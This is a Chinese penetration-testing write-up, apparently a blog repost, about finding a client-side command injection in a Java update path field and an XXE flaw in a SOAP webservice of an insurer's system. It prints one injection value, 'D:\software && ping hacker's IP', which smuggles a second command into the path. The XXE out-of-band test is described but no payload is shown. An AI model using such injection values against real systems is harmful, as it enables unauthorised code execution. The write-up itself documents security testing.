不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

记一次有趣的客户端RCE+服务端XXE挖掘

0x01 起因

朋友给某甲方做渗透测试,奈何甲方是某知名保险,系统太耐艹,半天不出货

兄弟喊我来一块来看,于是有了本文

0x02 客户端RCE一处

朋友把靶标发给我看了下,除了两个下载链接啥也没有

链接下载下来的东西如图,看了下目录里面还有JRE,那么很显然,这客户端exe就是个JAVA启动命令执行套壳

随后打开program文件夹,逆了一下里面的Jar

full_path前面定义为用户更新时输入的路径

那么很简单了full_path可控,诱导用户安装更新时路径出输入注入命令即可

D:\software  && ping hacker's IP

0x03 发现Webservice Soap接口

光这一个水来的客户端RCE肯定是不够的,接下来继续挖掘服务端

看了看没别的功能点,我就简单FUZZ了一下这个系统三级目录

图片

最后FUZZ出来了一个webservice接口

http://****.xxxxxx.cn/xxxx/service

图片

拼接出其wsdl接口

http://****.xxxxxx.cn/xxxx/service/BusinessService?wsdl

但导入SoapUI或AWVS的调试模块进行调试时却发现其导入失败

图片

仔细看了下WSDL返回的信息。。。妈的WSDL Import Location和Soap Address Location都是内网域名

图片

不过幸运的是,该系统的外网域名拼接路径后也可以访问到这个WSDL接口

但是自动化的Soap接口调试工具是“看见什么就import什么”,这可让人犯了难

0x04导入SoapUI

思考了一会,突然想起来BurpSuite可以把RequestBody和ResponseBody的值进行替换,hhh,那我们就有办法导入了

在Burpsuite的Porxy Option中增加Match&Replace规则

将WSDL Import Location和Soap Address Location处对应的内网域名都替换为外网域名

随后在SoapUI中设置Proxy

图片

打开代理,再次添加WSDL,ResponseBody的内网域名成功被替换,WSDL导入成功~

图片

0x05 XXE挖掘

导入接口后,发现有参数为dataXML,心中暗喜XXE估计是送上门了

图片

直接BurpSuite中利用XXE OOB测试

OOB成功,XXE到手,收摊~

0x06 总结

坚持一下,守得云开见月明,漏洞就在眼前~

转自:hackctf

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » 记一次有趣的客户端RCE+服务端XXE挖掘

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏